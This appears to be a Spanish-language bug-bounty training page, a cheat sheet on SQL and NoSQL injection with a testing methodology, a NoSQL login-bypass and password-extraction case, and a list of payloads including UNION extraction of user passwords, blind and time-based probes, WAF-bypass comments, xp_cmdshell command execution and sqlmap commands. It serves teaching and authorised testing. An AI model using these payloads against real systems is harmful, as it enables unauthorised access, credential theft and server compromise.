Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →SQL & NoSQL Injection
Inyección de consultas en bases de datos
Respuesta rápida
¿Qué es SQL & NoSQL Injection?
La inyección SQL/NoSQL permite manipular las consultas que la aplicación envía a la base de datos. Puede extraer datos, bypassear autenticación, modificar registros o incluso ejecutar comandos en el servidor.
Severidad
Crítico
Frecuencia
Común
Payloads
12
Pasos
6
Severidad
Crítico
Frecuencia
Común
Payloads
12
SQLi ocurre cuando input del usuario se concatena directamente en consultas SQL sin sanitizar. NoSQLi aplica a bases como MongoDB, donde operadores como $ne, $gt, $regex pueden manipular consultas JSON. Ambas pueden llevar a extracción total de datos.
Dónde buscar
Login y registro
Los campos username/password son el vector clásico. Prueba ' OR 1=1 -- en cada uno.
Búsqueda y filtros
Parámetros search=, sort=, order=, filter= que se concatenan en la query.
IDs numéricos
?id=1, ?page=1, ?category=5 — cualquier número que va directamente a un WHERE.
Headers loggeados
X-Forwarded-For, Referer, User-Agent — si se guardan en BD, pueden ser vectores.
APIs JSON con MongoDB
Operadores $ne, $gt, $regex en campos de filtro. Muy común en APIs Node.js + MongoDB.
Metodología
Identificar inputs a BD
Busca campos que probablemente interactúan con la base de datos (login, búsqueda, filtros, IDs).
Inyectar carácter de quoting
Envía ' o " — si recibes un error SQL en la respuesta, ya sabes el tipo de BD.
OR-based bypass
Prueba: ' OR 1=1 -- para bypass de login. Si funciona, la app es vulnerable.
UNION-based extraction
Determina el número de columnas: ' UNION SELECT null,null,null -- (incrementa nulls hasta que no de error).
Blind detection
Si no hay output: ' AND 1=1 -- vs ' AND 1=2 -- — si las respuestas difieren, es blind SQLi.
Time-based blind
' AND SLEEP(5) -- — si la respuesta tarda 5 segundos, confirma inyección blind.
Caso real
NoSQL Injection en login → Extracción de contraseña char por char
Detectar NoSQL backend
La API responde con errores de MongoDB cuando se envían caracteres especiales en el login.
Bypass de autenticación
{"username": {"$ne": ""}, "password": {"$ne": ""}} — devuelve el primer usuario (admin).
Extracción con $regex
{"username": "admin", "password": {"$regex": "^a"}} — si login exitoso, la contraseña empieza por "a".
Script de extracción
Iterar caracter por caracter: ^a, ^ab, ^abc... hasta obtener la contraseña completa.
Lección: MongoDB no es inmune a inyección. Los operadores de query ($ne, $regex, $gt) son el equivalente de SQLi en NoSQL. Siempre sanitiza los operadores en inputs JSON.
Payloads
SQL — OR bypass
' OR 1=1 --
SQL — Comment bypass
admin' --
SQL — String equals
' OR '1'='1
NoSQL — Not equals
{"username": {"$ne": ""}, "password": {"$ne": ""}}NoSQL — Regex
{"username": "admin", "password": {"$regex": ".*"}}SQL — UNION basic
' UNION SELECT null,null,null --
Payloads avanzados(requiere cuenta)
UNION extract users
' UNION SELECT username,password FROM users --
Blind boolean
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
Time-based blind
' AND IF(1=1,SLEEP(5),0) --
WAF bypass — inline comments
/*!50000UNION*/+/*!50000SELECT*/+1,2,3
NoSQL regex extraction
{"password": {"$regex": "^a"}} → ^ab → ^abc → ...RCE via xp_cmdshell
'; EXEC xp_cmdshell('whoami') --Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
sqlmap
Herramienta automática de detección y explotación de SQL injection.
sqlmap -u 'https://target.com/search?q=test' --dbs --batch
NoSQLMap
Automatiza la detección y explotación de NoSQL injection en MongoDB.
python nosqlmap.py
Burp Intruder
Fuzzing manual con wordlists de SQLi para detectar inyecciones.
Positions → payload en campo vulnerable → SQLi wordlist
Tips
Los errores SQL son oro
Si ves un error de MySQL/PostgreSQL en la respuesta, ya sabes el tipo de BD y puedes adaptar tus payloads.
NoSQL es igual de vulnerable
MongoDB con APIs JSON acepta operadores como $ne, $gt, $regex. Pruébalos en campos de login.
Second-order SQLi
El payload se inyecta en registro y se ejecuta en otro lugar (panel admin, exports). Muy difícil de detectar pero impactante.
sqlmap con request guardado
sqlmap -r request.txt --dbs — usa un request de Burp guardado para mayor precisión.
Contenido relacionado
Practica SQL & NoSQL Injection con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.